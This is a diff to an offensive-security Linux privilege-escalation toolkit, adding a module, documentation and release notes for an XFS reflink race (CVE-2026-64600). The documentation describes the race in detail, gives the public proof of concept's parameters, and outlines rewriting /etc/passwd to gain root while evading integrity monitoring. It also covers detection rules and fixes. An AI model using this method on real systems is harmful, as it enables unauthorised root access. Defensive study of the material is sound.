physical block *beneath* the victim inode. No `write(2)` ever targets it, so
|
||||
`mtime`/`ctime`/size are unchanged and nothing is logged — `-w /etc/passwd -p
|
||||
wa`, AIDE and Tripwire all stay silent. The change persists across reboots.
|
||||
- **The exposure is distro-shaped, not kernel-shaped.** What matters is whether
|
||||
XFS+reflink is the installer default: **RHEL/CentOS Stream/Rocky/AlmaLinux/
|
||||
Oracle/CloudLinux 8-10, Fedora Server ≥ 31 and Amazon Linux 2023** are
|
||||
exploitable out of the box; Debian, Ubuntu, Fedora Workstation, SLES, openSUSE
|
||||
and Arch default to ext4/btrfs and are not reachable. RHEL/CentOS 7 (3.10) was
|
||||
never affected.
|
||||
|
||||
Introduced **4.11** (2017-02, `3c68d44a2b49`) — a nine-year window. Fixed by
|
||||
`2f4acd0fcd86` ("xfs: resample the data fork mapping after cycling ILOCK"),
|
||||
merged **2026-07-16** for **7.2-rc4**; stable backports **7.1.4** / **6.18.39** /
|
||||
**6.12.96**. The 6.6 / 6.1 / 5.15 / 5.14 / 5.10 / 4.19 / 4.18 lines have no
|
||||
upstream stable fix in the CNA record at time of writing. CWE-362 → CWE-367; NVD
|
||||
published neither a CWE nor a CVSS vector at time of writing; not in CISA KEV.
|
||||
|
||||
🟡 **Trigger (reconstructed) — deliberately under-driven, and VM-VERIFIED.**
|
||||
Unlike the corpus's other race
|
||||
modules, `detect()` is **not** a pure version gate: this bug's reachability is
|
||||
safely observable, so it pairs the three-branch version table with a **real
|
||||
storage precondition** — a writable directory on a mounted XFS filesystem,
|
||||
identified by `statfs(2)` `f_type == XFS_SUPER_MAGIC` and deliberately **not** by
|
||||
a successful `FICLONE`, since btrfs implements `FICLONE` too and is unaffected.
|
||||
No such directory → `PRECOND_FAIL`, the correct verdict on a stock Debian/Ubuntu
|
||||
host. Under `--active` it confirms `reflink=1` empirically; override with
|
||||
`SKELETONKEY_XFS_ASSUME_REFLINK=1/0`. On rpm-family hosts it warns explicitly
|
||||
that RHEL/Oracle/Rocky/Alma backport **without bumping the upstream version** (a
|
||||
patched el8 kernel still reports `4.18.0-*`), so the verdict reflects the
|
||||
upstream base version only — check the RHSA/ELSA/ALSA/RLSA erratum.
|
||||
|
||||
`exploit()` forks an isolated child that creates a private `mkdtemp` scratch
|
||||
directory and works **only on two files it owns**: **(A)** it writes a donor,
|
||||
`FICLONE`-clones it, and confirms the shared extent via **`FIEMAP_EXTENT_SHARED`**
|
||||
plus an `O_DIRECT` gate — a read-only, deterministic observation that the exact
|
||||
refcount state the bug misjudges exists here; then **(B)** it races **8**
|
||||
concurrent `O_DIRECT` 4 KiB writes against the clone with **2**
|
||||
`ftruncate`/`fdatasync` helpers cycling the `ILOCK`, for at most **16 rounds /
|
||||
2 s**, and stops — reading the donor back with `O_DIRECT`, because a buffered read
|
||||
would be served from the page cache the corruption bypasses and would hide a win.
|
||||
It is deliberately under-driven against the public PoC's 32 writers and 8
|
||||
helpers, and it **never clones or targets a file it does not own**: the step that
|
||||
yields root — reflink-cloning `/etc/passwd` and racing writes onto *its* shared
|
||||
blocks, then `su` — persistently rewrites a system file on disk with no undo, and
|
||||
is documented but **not bundled**. Always returns `EXPLOIT_FAIL`.
|
||||
|
||||
Note the safety inversion versus the other reconstructed triggers: a won race
|
||||
here corrupts **file data, not kernel memory**, so there is no oops, no KASAN
|
||||
report and no panic path, and the blast radius is 4 KiB of a scratch file the
|
||||
module then deletes. `refluxfs` therefore carries safety rank **55** — far above
|
||||
`bad_epoll` (12) and `ghostlock` (11) — and `--cleanup` sweeps any
|
||||
`skeletonkey-refluxfs-*` directories left by an interrupted run.
|
||||
|
||||
Detection gets a genuinely unusual treatment, because the obvious rule is the one
|
||||
that fails. auditd/sigma anchor on the two operations the attack cannot avoid —
|
||||
`ioctl` request **`0x40049409`** (`FICLONE`, matched exactly so it does not flood)
|
||||
and `openat` with `O_DIRECT` (`& 0x4000`) — plus the post-exploitation euid-0
|
||||
transition; falco adds the high-fidelity "reflinked a file owned by another user"
|
||||
condition. And for once the **yara** rule is the right tool for a kernel bug:
|
||||
since FIM is structurally blind here, it matches the *on-disk artifact* — a
|
||||
`passwd` file with a password-less root entry or an added uid-0 account. The
|
||||
module docs also recommend content-hash-vs-`mtime` drift monitoring, which is a
|
||||
near-zero-false-positive detector for this entire bug class.
|
||||
|
||||
14 new `detect()` unit rows cover the backport boundaries, the 4.11 introduction
|
||||
gate, the el8/el9 upstream bases, the "newer than some entries but not all" case,
|
||||
and the no-XFS `PRECOND_FAIL` path (**148 tests total, 0 failures**).
|
||||
|
||||
**VM-verified 2026-07-23 — the corpus's first rpm-family verification**, taking
|
||||
the empirical count to **29 of 41 CVEs**. Target: **Rocky Linux 9.8 /
|
||||
`5.14.0-687.10.1.el9_8.0.1.x86_64`** under qemu/KVM with 6 vCPUs. The stock
|
||||
GenericCloud layout needed **no provisioner changes at all** — root is
|
||||
`/dev/vda4` XFS with `reflink=1` out of the box, which is precisely why this CVE
|
||||
hits the RHEL family so broadly. `detect()` returned `VULNERABLE`, the
|
||||
rpm-family vendor-backport caveat fired, the `--active` FICLONE witness confirmed
|
||||
reflink, phase A observed `FIEMAP_EXTENT_SHARED` on a real shared extent, the
|
||||
scratch dir self-cleaned, and the source built clean on el9 gcc.
|
||||
|
||||
The **underlying bug was separately confirmed winnable** on that kernel using a
|
||||
VM-only harness driven at the public PoC's parameters (32 writers / 8 helpers,
|
||||
60 s — `tools/verify-vm/refluxfs_verify.c`): **4 out of 4 runs won**, first
|
||||
divergence after **69, 114, 170 and 494 rounds**. A racing `O_DIRECT` write
|
||||
landed on a still-shared block and rewrote the donor's on-disk bytes — the
|
||||
arbitrary-overwrite primitive observed directly, contained to files the test user
|
||||
owned, with no oops and no dmesg output (as expected for a data-oriented bug).
|
||||
|
||||
Worth stating plainly, because it is the whole point of the design: the shipped
|
||||
trigger **did not win** in its 2 s budget on a kernel that is provably
|
||||
vulnerable. That is intended under-driving, not a defect — and it is the concrete
|
||||
reason a non-win must **never** be recorded as "patched". Trust the version gate
|
||||
and the vendor erratum.
|
||||
|
||||
Credit: **Qualys Threat Research Unit** (blog by **Saeed Abbasi**; the technical
|
||||
advisory credits model-assisted kernel analysis performed with **Anthropic**),
|
||||
and the upstream XFS maintainers who fixed it.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.9.13 — new LPE module: ghostlock (CVE-2026-43499)
|
||||
|
||||
Adds **`ghostlock` — CVE-2026-43499 "GhostLock"** (VEGA / Nebula Security,
|
||||
|
||||
@@ -34,3 +34,4 @@
|
||||
{"module":"sudo_runas_neg1","verified_at":"2026-05-24T03:29:18Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"tioscpgrp","verified_at":"2026-05-24T03:31:08Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"dirtydecrypt","verified_at":"2026-05-24T05:16:27Z","host_kernel":"6.19.7-061907-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"refluxfs","verified_at":"2026-07-23T21:45:28Z","host_kernel":"5.14.0-687.10.1.el9_8.0.1.x86_64","host_distro":"Rocky Linux 9.8 (Blue Onyx)","vm_box":"rocky9-genericcloud/qemu-kvm","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
|
||||
+14
-13
@@ -4,9 +4,9 @@
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
|
||||
<meta name="description" content="One binary. 45 Linux privilege-escalation modules from 2016 to 2026. 28 of 40 CVEs empirically verified in real Linux VMs. 13 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
|
||||
<meta name="description" content="One binary. 46 Linux privilege-escalation modules from 2016 to 2026. 29 of 41 CVEs empirically verified in real Linux VMs. 13 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
|
||||
<meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
|
||||
<meta property="og:description" content="45 Linux LPE modules; 28 of 40 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
|
||||
<meta property="og:description" content="46 Linux LPE modules; 29 of 41 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
|
||||
<meta property="og:type" content="website">
|
||||
<meta property="og:url" content="https://skeletonkey.netslum.io/">
|
||||
<meta property="og:image" content="https://skeletonkey.netslum.io/og.png?v=2">
|
||||
@@ -56,14 +56,14 @@
|
||||
<div class="container hero-inner">
|
||||
<div class="hero-eyebrow">
|
||||
<span class="dot dot-pulse"></span>
|
||||
v0.9.11 — released 2026-06-08
|
||||
v0.9.14 — released 2026-07-23
|
||||
</div>
|
||||
<h1 class="hero-title">
|
||||
<span class="display-wordmark">SKELETONKEY</span>
|
||||
</h1>
|
||||
<p class="hero-tag">
|
||||
One binary. <strong>45 Linux LPE modules</strong> covering 40 CVEs —
|
||||
<strong>every year 2016 → 2026</strong>. 28 of 40 confirmed against
|
||||
One binary. <strong>46 Linux LPE modules</strong> covering 41 CVEs —
|
||||
<strong>every year 2016 → 2026</strong>. 29 of 41 confirmed against
|
||||
real Linux kernels in VMs. SOC-ready detection rules in four SIEM
|
||||
formats. MITRE ATT&CK + CWE + CISA KEV annotated.
|
||||
<span class="hero-tag-pop">--explain gives a one-page operator briefing per CVE.</span>
|
||||
@@ -81,8 +81,8 @@
|
||||
</div>
|
||||
|
||||
<div class="stats-row" id="stats-row">
|
||||
<div class="stat-chip"><span class="num" data-target="45">0</span><span>modules</span></div>
|
||||
<div class="stat-chip stat-vfy"><span class="num" data-target="28">0</span><span>✓ VM-verified</span></div>
|
||||
<div class="stat-chip"><span class="num" data-target="46">0</span><span>modules</span></div>
|
||||
<div class="stat-chip stat-vfy"><span class="num" data-target="29">0</span><span>✓ VM-verified</span></div>
|
||||
<div class="stat-chip stat-kev"><span class="num" data-target="13">0</span><span>★ in CISA KEV</span></div>
|
||||
<div class="stat-chip"><span class="num" data-target="151">0</span><span>detection rules</span></div>
|
||||
</div>
|
||||
@@ -227,7 +227,7 @@ uid=0(root) gid=0(root)</pre>
|
||||
<div class="bento-icon">★</div>
|
||||
<h3>CISA KEV prioritized</h3>
|
||||
<p>
|
||||
13 of 40 CVEs in the corpus are in CISA's Known Exploited
|
||||
13 of 41 CVEs in the corpus are in CISA's Known Exploited
|
||||
Vulnerabilities catalog — actively exploited in the wild.
|
||||
Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>.
|
||||
</p>
|
||||
@@ -289,12 +289,12 @@ uid=0(root) gid=0(root)</pre>
|
||||
|
||||
<article class="bento-card bento-vfy">
|
||||
<div class="bento-icon">✓</div>
|
||||
<h3>28 modules empirically verified</h3>
|
||||
<h3>29 modules empirically verified</h3>
|
||||
<p>
|
||||
<code>tools/verify-vm/</code> spins up known-vulnerable
|
||||
kernels (stock distro + mainline from kernel.ubuntu.com), runs
|
||||
<code>--explain --active</code> per module, and records the
|
||||
verdict. <strong>28 of 40 CVEs</strong> confirmed against
|
||||
verdict. <strong>29 of 41 CVEs</strong> confirmed against
|
||||
real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12
|
||||
+ mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary;
|
||||
<code>--list</code> shows ✓ per module.
|
||||
@@ -309,7 +309,7 @@ uid=0(root) gid=0(root)</pre>
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">corpus</span>
|
||||
<h2>40 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
|
||||
<h2>41 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
|
||||
</div>
|
||||
|
||||
<h3 class="corpus-h" data-color="green">
|
||||
@@ -360,6 +360,7 @@ uid=0(root) gid=0(root)</pre>
|
||||
<span class="pill yellow">nft_catchall</span>
|
||||
<span class="pill yellow">bad_epoll</span>
|
||||
<span class="pill yellow">ghostlock</span>
|
||||
<span class="pill yellow">refluxfs</span>
|
||||
</div>
|
||||
|
||||
<p class="corpus-foot">
|
||||
@@ -420,7 +421,7 @@ uid=0(root) gid=0(root)</pre>
|
||||
<div class="audience-icon">🎓</div>
|
||||
<h3>Researchers / CTF</h3>
|
||||
<p>
|
||||
40 CVEs, 10-year span, each with the original PoC author
|
||||
41 CVEs, 10-year span, each with the original PoC author
|
||||
credited and the kernel-range citation auditable.
|
||||
<code>--explain</code> shows the reasoning chain; detection
|
||||
rules let you practice both sides. Source is the documentation.
|
||||
@@ -517,7 +518,7 @@ uid=0(root) gid=0(root)</pre>
|
||||
<div class="tl-col tl-shipped">
|
||||
<div class="tl-tag">shipped</div>
|
||||
<ul>
|
||||
<li><strong>28 of 40 CVEs empirically verified</strong> in real Linux VMs</li>
|
||||
<li><strong>29 of 41 CVEs empirically verified</strong> in real Linux VMs</li>
|
||||
<li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li>
|
||||
<li>Per-module <code>verified_on[]</code> table baked into the binary</li>
|
||||
<li><strong>--explain mode</strong> — one-page operator briefing per CVE</li>
|
||||
|
||||
@@ -0,0 +1,211 @@
|
||||
# refluxfs — CVE-2026-64600
|
||||
|
||||
"RefluXFS" — a time-of-check/time-of-use race in the XFS **reflink
|
||||
copy-on-write** path that lets **any unprivileged local user overwrite the
|
||||
on-disk contents of any file they can read**, on any XFS volume mounted with
|
||||
`reflink=1` that they can write to. No user namespace, no capability, no crafted
|
||||
filesystem image, no kernel offsets. It has been present since reflink direct-I/O
|
||||
CoW landed in **4.11 (2017)** — a nine-year window.
|
||||
|
||||
This is the corpus's first XFS module, and its first **data-oriented** kernel
|
||||
bug: the primitive is an arbitrary *file content* overwrite, not memory
|
||||
corruption.
|
||||
|
||||
## The bug
|
||||
|
||||
`xfs_direct_write_iomap_begin()` (`fs/xfs/xfs_iomap.c`) reads the data-fork
|
||||
extent map under `ILOCK`. To allocate a transaction it must wait for log space,
|
||||
so `xfs_reflink_fill_cow_hole()` (`fs/xfs/xfs_reflink.c`) **drops `ILOCK`**. On
|
||||
re-acquiring it, the code re-queries the refcount btree at the **original**
|
||||
physical block number (`imap->br_startblock`) — and **never re-reads the data
|
||||
fork**.
|
||||
|
||||
A second `O_DIRECT` writer, holding only the coarser `IOLOCK`, can complete an
|
||||
entire CoW cycle inside that window: allocate block Y, write it, and remap via
|
||||
`xfs_reflink_end_cow()`. The first writer's `imap` now points at a block owned
|
||||
solely by the reflink **source**. Its stale refcount lookup returns `1`, it
|
||||
concludes the block is private, and writes to it in place — landing attacker
|
||||
data on the source file's on-disk blocks.
|
||||
|
||||
Three consequences follow, and they drive the whole module design:
|
||||
|
||||
1. **No offsets, no ROP, no KASLR/SMEP/SMAP.** There is nothing to port per
|
||||
kernel build. Qualys is explicit that SELinux enforcing, container
|
||||
boundaries and seccomp are equally irrelevant.
|
||||
2. **The victim's inode is never written.** The data is applied to the shared
|
||||
physical block *underneath* it, so `mtime`/`ctime`/size do not change and
|
||||
there is no kernel log output. **File-integrity monitoring does not fire.**
|
||||
3. **It persists across reboots**, because the change is on disk.
|
||||
|
||||
The public demonstration (RHEL 10.2) reflink-clones `/etc/passwd` into
|
||||
`/var/tmp`, races concurrent direct-I/O writes against the clone, thereby
|
||||
rewriting `/etc/passwd` itself to strip root's password, and runs `su`.
|
||||
|
||||
## Affected range
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Introduced | **4.11** (2017-02, commit `3c68d44a2b49`, "xfs: allocate direct I/O COW blocks in iomap_begin") |
|
||||
| Fixed upstream | commit `2f4acd0fcd86` ("xfs: resample the data fork mapping after cycling ILOCK") — merged **2026-07-16**, released **7.2-rc4** |
|
||||
| Stable backports | **7.1.4** (`e705d81a7193`) · **6.18.39** (`206c09b04dc5`) · **6.12.96** (`44f891bc0889`) |
|
||||
| Affected, no upstream fix | 6.6 / 6.1 / 5.15 / 5.14 / 5.10 / 4.19 / 4.18 LTS lines (per the CNA record at time of writing) |
|
||||
| Not affected | < 4.11 — includes RHEL/CentOS **7** (3.10 predates reflink) |
|
||||
| NVD class | CWE-362 (race) → CWE-367 (TOCTOU). NVD had published **no CWE and no CVSS vector** at time of writing |
|
||||
| CISA KEV | no (disclosed 2026-07-22) |
|
||||
|
||||
**The exposure is distro-shaped, not kernel-shaped.** What matters is whether
|
||||
XFS+reflink is the installer default:
|
||||
|
||||
| Exploitable out of the box | Not reachable by default |
|
||||
|---|---|
|
||||
| RHEL 8/9/10 · CentOS Stream 8/9/10 · Rocky/AlmaLinux 8/9/10 · Oracle Linux 8/9/10 (RHCK + UEK R6/R7/8) · CloudLinux 8/9/10 · Fedora Server ≥ 31 · Amazon Linux 2023 (and AL2 AMIs from 2022-12) | Debian · Ubuntu · Fedora Workstation · SLES · openSUSE · Arch (ext4/btrfs defaults — unless an XFS volume was added deliberately) |
|
||||
|
||||
### ⚠️ The version gate has a real blind spot here
|
||||
|
||||
The affected population is overwhelmingly **RHEL-family**, and those vendors
|
||||
backport fixes **without bumping the upstream base version** — a patched RHEL 8
|
||||
kernel still reports `4.18.0-xxx.el8`. An upstream-version gate cannot see that.
|
||||
|
||||
So on rpm-family hosts, a `VULNERABLE` verdict is a statement about the
|
||||
**upstream base version only**. `detect()` prints that warning explicitly rather
|
||||
than implying it checked the erratum. Confirm against the vendor advisory
|
||||
(RHSA / ELSA / ALSA / RLSA) before acting on it.
|
||||
|
||||
## Trigger / detection
|
||||
|
||||
Unlike a pure kernel race, this bug's reachability **can** be established safely
|
||||
and deterministically, so `detect()` is a version gate **plus a real
|
||||
precondition probe**:
|
||||
|
||||
- **Passive** — is there a writable directory on a mounted XFS filesystem?
|
||||
Identified via `statfs(2)` `f_type == XFS_SUPER_MAGIC`, **not** by a
|
||||
successful `FICLONE`, because btrfs implements `FICLONE` too and is
|
||||
unaffected. No such directory → `PRECOND_FAIL`, the correct verdict on a
|
||||
stock Debian/Ubuntu host.
|
||||
- **Active** (`--active` / `--auto`) — confirms `reflink=1` empirically by
|
||||
cloning and removing two 4 KiB files, rather than assuming the `mkfs.xfs`
|
||||
default. `reflink=0` → no shared extents can exist → `PRECOND_FAIL`.
|
||||
- **Override** — `SKELETONKEY_XFS_ASSUME_REFLINK=1` (force reachable) / `0`
|
||||
(force unreachable), for when you know the fleet's storage layout better than
|
||||
a local probe can. This also drives the unit tests.
|
||||
|
||||
`exploit()` forks an isolated child that creates a private `mkdtemp` scratch
|
||||
directory on the XFS mount and works **only on two files it owns**:
|
||||
|
||||
- **(A) deterministic + safe** — writes a donor file, `FICLONE`-clones it, and
|
||||
confirms via **`FIEMAP_EXTENT_SHARED`** that the clone's extent really is
|
||||
shared (refcount > 1), plus that `O_DIRECT` opens succeed. That is a
|
||||
read-only observation that the exact filesystem state the bug misjudges
|
||||
exists here. Reflink cloning is an ordinary supported operation, so this
|
||||
phase is safe on any kernel.
|
||||
- **(B) hard-bounded window exercise** — races **8** concurrent `O_DIRECT`
|
||||
4 KiB writes against the clone while **2** helper threads cycle
|
||||
`ftruncate`/`fdatasync` to keep the transaction allocator dropping `ILOCK` to
|
||||
wait for log space, for at most **16 rounds / 2 s**. Then it stops and reads
|
||||
the donor back **with `O_DIRECT`** — a buffered read would be served from the
|
||||
page cache that the corruption bypasses, and would hide a win.
|
||||
|
||||
It is **deliberately under-driven** (the public PoC uses 32 writers and 8
|
||||
helpers and grinds far longer) and, more importantly, it **never clones or
|
||||
targets a file it does not own**. The step that makes this root — reflink-cloning
|
||||
a root-owned file such as `/etc/passwd` and racing writes onto *its* shared
|
||||
blocks — persistently rewrites a system file on disk **with no undo**, so it is
|
||||
documented here and **not bundled**. `exploit()` always returns `EXPLOIT_FAIL`.
|
||||
|
||||
If the race *is* won, the module says so loudly: that is CVE-2026-64600
|
||||
confirmed present, empirically, with the damage contained to 4 KiB of the
|
||||
operator's own scratch file.
|
||||
|
||||
## VM verification (2026-07-23)
|
||||
|
||||
Confirmed on **Rocky Linux 9.8 / `5.14.0-687.10.1.el9_8.0.1.x86_64`** under
|
||||
qemu/KVM with 6 vCPUs — the stock GenericCloud installer layout, root on
|
||||
`/dev/vda4` XFS with `reflink=1`, no provisioner changes:
|
||||
|
||||
| Check | Result |
|
||||
|---|---|
|
||||
| `detect()` on real XFS | **VULNERABLE** (found writable XFS at `/var/tmp`) |
|
||||
| rpm-family backport caveat | fired correctly |
|
||||
| `--active` FICLONE witness | **reflink CONFIRMED** |
|
||||
| Phase A shared extent | **`FIEMAP_EXTENT_SHARED` set** (btrfs never reported it; XFS does) |
|
||||
| Phase A `O_DIRECT` gate | available |
|
||||
| Shipped trigger (8 writers / 2 helpers / 2 s) | ran 16 rounds, **did not win** — *by design* |
|
||||
| Scratch cleanup | no artifacts left |
|
||||
| Build on el9 gcc | clean |
|
||||
|
||||
**The underlying bug was separately confirmed winnable on that kernel**, using a
|
||||
VM-only harness driven at the public PoC's parameters (32 writers / 8 helpers,
|
||||
60 s budget — `tools/verify-vm/refluxfs_verify.c`): **4 out of 4 runs won**, with
|
||||
the first divergence after **69, 114, 170 and 494 rounds**. A racing `O_DIRECT`
|
||||
write landed on a still-shared block and rewrote the donor's on-disk bytes —
|
||||
the arbitrary-overwrite primitive, observed directly, contained to files the
|
||||
test user owned.
|
||||
|
||||
Note carefully what this does and does not say. The shipped trigger **not**
|
||||
winning in 2 s on a kernel that is provably vulnerable is exactly the designed
|
||||
behaviour, and is the concrete reason a non-win must **never** be read as
|
||||
"patched" — trust the version gate and the vendor erratum instead.
|
||||
|
||||
### Why this ranks *above* the other reconstructed race triggers
|
||||
|
||||
`bad_epoll` (12) and `ghostlock` (11) sit at the bottom of the `--auto` safety
|
||||
ranking because a won race frees a live `struct file` or corrupts the kernel
|
||||
**stack** — silent destabilisation or near-certain panic. Neither applies here.
|
||||
RefluXFS corrupts **file data, not kernel memory**: there is no oops, no KASAN
|
||||
report, no panic risk, and the blast radius of a win is one 4 KiB scratch file
|
||||
we created and delete. That is why `refluxfs` carries safety rank **55** — it is
|
||||
genuinely safe to run, and the ranking should say so. The VM run above bears
|
||||
this out: the bug was won 4/4 times on a vulnerable kernel with no oops, no
|
||||
dmesg output and no instability.
|
||||
|
||||
## Detection — the obvious rule does not work
|
||||
|
||||
**Do not rely on `-w /etc/passwd -p wa`, AIDE, or Tripwire for this CVE.** The
|
||||
attacker never issues a `write(2)` against the victim inode; XFS applies their
|
||||
data to the shared physical block beneath it. Size, `mtime` and `ctime` are
|
||||
unchanged and nothing is logged. Anyone relying on FIM to catch a `passwd`
|
||||
modification is blind to this bug *by construction*.
|
||||
|
||||
What does work, in descending order of fidelity:
|
||||
|
||||
1. **The reflink itself** — `ioctl(fd, FICLONE, srcfd)` where `FICLONE` is
|
||||
`0x40049409`. auditd can match the request number **exactly**, so it does not
|
||||
flood, and the attack cannot avoid it. Tune out `cp --reflink=auto`, podman
|
||||
and `systemd-nspawn` image work.
|
||||
2. **`O_DIRECT` opens** — `openat` flags `& 0x4000`. Also on the critical path,
|
||||
and rare outside databases and backup agents.
|
||||
3. **Content-vs-metadata drift** — because the bytes change while `mtime` does
|
||||
not, hashing `/etc/passwd`, `/etc/shadow` and the setuid binaries on a
|
||||
schedule and alerting when the *content* hash moves **without** a
|
||||
corresponding `mtime` change is a near-zero-false-positive detector for this
|
||||
whole bug class.
|
||||
|
||||
The shipped rules cover all three: auditd/sigma anchor on the `FICLONE` request
|
||||
number and `O_DIRECT` opens (correlated per-pid, plus the post-exploitation
|
||||
euid-0 transition), falco adds the high-fidelity "reflinked a file owned by
|
||||
another user" condition, and — unusually for a kernel bug — the **yara** rule is
|
||||
genuinely the right tool, matching the on-disk artifact (`/etc/passwd` with a
|
||||
password-less root entry or an added uid-0 account) precisely because there is
|
||||
no metadata trace for FIM to find.
|
||||
|
||||
## Fix / mitigation
|
||||
|
||||
Upgrade the kernel (≥ 7.1.4 / 6.18.39 / 6.12.96 on-branch, or 7.2+; on
|
||||
RHEL-family, the vendor erratum) **and reboot**.
|
||||
|
||||
There is **no partial mitigation**, which is why `mitigate()` is `NULL`:
|
||||
`reflink` is a superblock feature that cannot be disabled on a live filesystem,
|
||||
`O_DIRECT` cannot be turned off, and — because this is a data-oriented bug —
|
||||
SELinux enforcing, container boundaries, KASLR, SMEP, SMAP and seccomp are all
|
||||
irrelevant. Qualys puts it plainly: *"This isn't a vulnerability you can harden
|
||||
around, isolate, or live-patch."*
|
||||
|
||||
`cleanup()` sweeps any `skeletonkey-refluxfs-*` scratch directories left behind
|
||||
if a trigger run was killed mid-round; normal runs remove their own.
|
||||
|
||||
## Credit
|
||||
|
||||
Discovery and research: **Qualys Threat Research Unit (TRU)**; the blog post is
|
||||
authored by **Saeed Abbasi**, and the technical advisory credits model-assisted
|
||||
kernel analysis performed with **Anthropic**. Upstream fix `2f4acd0fcd86`. See
|
||||
`NOTICE.md`.
|
||||
@@ -0,0 +1,117 @@
|
||||
# NOTICE — refluxfs (CVE-2026-64600)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-64600** — "RefluXFS", a **time-of-check/time-of-use race** in the
|
||||
Linux kernel's XFS **reflink copy-on-write** path
|
||||
(`fs/xfs/xfs_iomap.c` :: `xfs_direct_write_iomap_begin` →
|
||||
`fs/xfs/xfs_reflink.c` :: `xfs_reflink_allocate_cow` /
|
||||
`xfs_reflink_fill_cow_hole` / `xfs_find_trim_cow_extent`).
|
||||
|
||||
A direct-I/O writer reads the data-fork extent map under `ILOCK`, then drops
|
||||
`ILOCK` to allocate a transaction (waiting for log space). On re-acquiring the
|
||||
lock it re-queries the refcount btree at the **original** physical block number
|
||||
(`imap->br_startblock`) and never re-reads the data fork. A concurrent
|
||||
`O_DIRECT` writer holding only the coarser `IOLOCK` can complete a full CoW
|
||||
cycle in that window (allocate block Y, write, remap via
|
||||
`xfs_reflink_end_cow()`), leaving the first writer's `imap` pointing at a block
|
||||
now owned solely by the reflink **source**. The stale lookup returns refcount
|
||||
`1`, the writer treats the block as private, and writes to it in place.
|
||||
|
||||
The resulting primitive is **not memory corruption**: it is an arbitrary
|
||||
overwrite of the **on-disk contents of any file the attacker can read**, on any
|
||||
reflink-enabled XFS volume they can write to. It needs **no kernel offsets, no
|
||||
ROP, and no KASLR/SMEP/SMAP bypass**, and it is unaffected by SELinux enforcing,
|
||||
container boundaries or seccomp. Because the write is applied to the shared
|
||||
physical block *beneath* the victim inode, the victim's `mtime`/`ctime`/size
|
||||
never change and no kernel log output is produced — **file-integrity monitoring
|
||||
does not detect it** — and the change persists across reboots.
|
||||
|
||||
Reachable by **any unprivileged local user**: no capability, no user namespace,
|
||||
no crafted filesystem image. Preconditions are only an XFS filesystem mounted
|
||||
with `reflink=1` (the `mkfs.xfs` default since xfsprogs 5.1) that the user can
|
||||
write to, plus read access to the target file. NVD class: **CWE-362** (race)
|
||||
yielding **CWE-367** (TOCTOU); NVD had published neither a CWE nor a CVSS vector
|
||||
at time of writing. **Not** in CISA KEV (disclosed 2026-07-22).
|
||||
|
||||
## Research credit
|
||||
|
||||
- **Discovery and research** by the **Qualys Threat Research Unit (TRU)**,
|
||||
published 2026-07-22 as "RefluXFS: A Linux Kernel Local Privilege Escalation
|
||||
to Root in XFS (CVE-2026-64600)"
|
||||
(<https://blog.qualys.com/vulnerabilities-threat-research/2026/07/22/refluxfs-a-linux-kernel-local-privilege-escalation-to-root-in-xfs-cve-2026-64600>),
|
||||
authored by **Saeed Abbasi**, with the technical advisory at
|
||||
<https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt> and the disclosure
|
||||
posted to oss-security
|
||||
(<https://www.openwall.com/lists/oss-security/2026/07/22/14>). The advisory
|
||||
credits model-assisted kernel analysis performed with **Anthropic**.
|
||||
Qualys demonstrated end-to-end root on **RHEL 10.2** by reflink-cloning
|
||||
`/etc/passwd` into `/var/tmp` and racing concurrent direct-I/O writes to
|
||||
rewrite it in place. SKELETONKEY's trigger reconstruction uses only the
|
||||
published shape of that race — the reflink clone, the concurrent `O_DIRECT`
|
||||
writers, and the `ftruncate`/`fdatasync` helpers that widen the window — and
|
||||
reuses no exploitation code; it never targets a file it does not own.
|
||||
- **Introduced** in **4.11** (2017-02) by commit `3c68d44a2b49` ("xfs: allocate
|
||||
direct I/O COW blocks in iomap_begin").
|
||||
- **Fixed upstream** by commit
|
||||
`2f4acd0fcd862e22eab45690ec2c08c80b6ef2e7` ("xfs: resample the data fork
|
||||
mapping after cycling ILOCK"), merged **2026-07-16** for **7.2-rc4**; stable
|
||||
backports **7.1.4** (`e705d81a7193`), **6.18.39** (`206c09b04dc5`) and
|
||||
**6.12.96** (`44f891bc0889`).
|
||||
- Authoritative version data: the Linux kernel CNA record
|
||||
(<https://cveawg.mitre.org/api/cve/CVE-2026-64600>,
|
||||
`git.kernel.org/stable/c/<hash>`). The 6.6 / 6.1 / 5.15 / 5.14 / 5.10 / 4.19 /
|
||||
4.18 LTS lines are affected with no upstream stable fix published at time of
|
||||
writing; RHEL-family, Oracle UEK and Amazon vendor branches backport the fix
|
||||
**without bumping the upstream base version**, so the vendor erratum
|
||||
